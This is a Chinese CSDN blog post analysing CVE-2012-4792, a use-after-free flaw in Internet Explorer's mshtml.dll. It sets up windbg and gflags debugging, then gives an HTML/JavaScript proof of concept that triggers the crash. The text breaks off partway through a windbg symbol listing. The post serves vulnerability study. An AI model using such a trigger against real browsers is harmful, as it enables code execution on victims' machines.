漏洞分析之CVE-2012-4792(UAF)

本文深入分析了CVE-2012-4792,这是一个影响IE 6至9的Use-After-Free漏洞。通过测试环境验证,探讨了漏洞的创建、释放、重用过程,以及如何利用此漏洞通过堆喷射技术和ROP链执行恶意代码。实验结果显示,该漏洞可导致代码执行。
摘要由CSDN通过智能技术生成

0x00 漏洞简介

2012年9月,通用漏洞与披露平台发布了一个存在IE浏览器的UAF漏洞。
报告指出:Microsoft Internet Explorer 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞。远程攻击者可利用该漏洞通过特制的网站,执行任意代码。

0x01 测试环境

操作系统:Windows XP sp3

浏览器:IE 8.00.6001.18702

漏洞文件:mshtml 8.00.6001.18702

调试器:windbg x86

利用windbg辅助工具设置系统堆栈调试功能

C:\Documents and Settings\Administrator>gflags.exe -I iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

0x02 漏洞验证

首先给出一段简单的poc验证CVE漏洞

<!doctype html>
<html>
<head>
<script> 
function exploit()
{
    
     var e0 = null;
     var e1 = null;
     var e2 = null; 
     try {
          e0 = document.getElementById("a");
          e1 = document.createElement("div");
          e2 = document.createElement("q");
          e1.applyElement(e2);
          e1.appendChild(document.createElement('button'));
          e1.applyElement(e0);
          e2.innerHTML = "";
          e2.appendChild(document.createElement('body'));
     } catch(e) { }
     CollectGarbage(); 
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>

利用windbg attach IE 后 输入g继续运行运行,点击运行阻止的内容
这里写图片描述
这里写图片描述

观察windbg中代码停止的位置
这里写图片描述
结果发现edi(目测是一个申请堆的地址)是无效地址,程序崩溃。
这里应该取对象的虚表时发现地址不可取
这里写图片描述
下面会有调用虚表中的函数操作,那才是我们需要控制程序流的地方。

0x03 漏洞原理

首先我们利用!heap –p –a edi查看堆的相关操作
这里写图片描述

我们从中可以看到,edi已经是释放后的堆了,这里mov eax,dword ptr[edi]
又对释放后的堆,再次使用。

下面有几个关键的问题没有解决:

  1. 什么时候创建的堆
  2. 什么时候释放的堆
  3. 什么时候使用的堆

0x1 堆的创建

为了方便查找堆的创建,在windbg加载IE后查看所有关于CButton的函数
我们可以得到一些有用的信息

0:005> x mshtml!CButton::*
6a28f234 mshtml!CButton::HandleMessage = <no type information>
6a28ee18 mshtml!CButton::s_classdescTagButton = <no type information>
6a28ed83 mshtml!CButton::GetAAtype = <no type information>
6a28f862 mshtml!CButton::GetValueHelper = <no type information>
6a28ef62 mshtml!CButton::GetEnabled = <no type information>
6a28f36a mshtml!CButton::GetThemeState = <no type information>
6a28f75d mshtml!CButton::get_status = <no type information>
6a28ee41 mshtml!CButton::CreateElement = <no type information>//很明显是一个按钮创建的过程
6a28f035 mshtml!CButton::Notify = <no type information>
6a0c4750 mshtml!CButton::s_StringTable = <no type information>
6a28f1e0 mshtml!CButton::GetFocusShape = <no type information>
6a28f8eb mshtml!CButton::SetStatusText = <no type information>
6a28f70d mshtml!CButton::put_status = <no type information>
6a28f128 mshtml!CButton::YieldCurrency = <no type information>
6a0b0d8c mshtml!CButton::GetBtnHelper = <no type information>
6a28ef95 mshtml!CButton::GetBorderInfo = <no type information>
6a28f2f0 mshtml!CButton::ClickAction = <no type information>
6a298d55 mshtml!CButton::createTextRange = <no type information>
6a28f87d mshtml!CButton::SetValueHelper = <no type information>
6a28eda5 mshtml!CButton::GetClassDesc = <no type information>
6a28f3c2 mshtml!CButton::ApplyDefaultFormat = <no type information>
6a28ef0d mshtml!CButton::GetSubmitInfo = <no type information>
6a029d70 mshtml!CButton::s_apfnpdIHTMLButtonElement = <no type information>
6a0ad720 mshtml!CButton::s_acpi = <no type information>
6a0b0338 mshtml!CButton::GetNonThemedBorderInfo = <no type information>
6a28f10b mshtml!CButton::AddCtxInfoToStream = <no type information>
6a0c4740 mshtml!CButton::s_StringTableAggregate = <no type information>
6a28f337 mshtml!CButton::GetThemeProperties = <no type information>
6a28f7a3 mshtml!CButton::GetValue = <no type information>
6a28edf4 mshtml!CButton::s_classdescButtonSubmit = <no type information>
6a28eeb8 mshtml!CButton::Init2 = <no type information>
6a188ee4 mshtml!CButton::s_apHdlDescs = <no type information>
6a188f00 mshtml!CButton::s_ppropdescsInVtblOrderIHTMLButtonElement = <no type information>
6a28ed27 mshtml!CButton::`scalar deleting destructor' = <no type information>//猜测是按钮销毁的过程
6a0c4780 mshtml!CButton::s_AssocVTablePtr = <no type 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值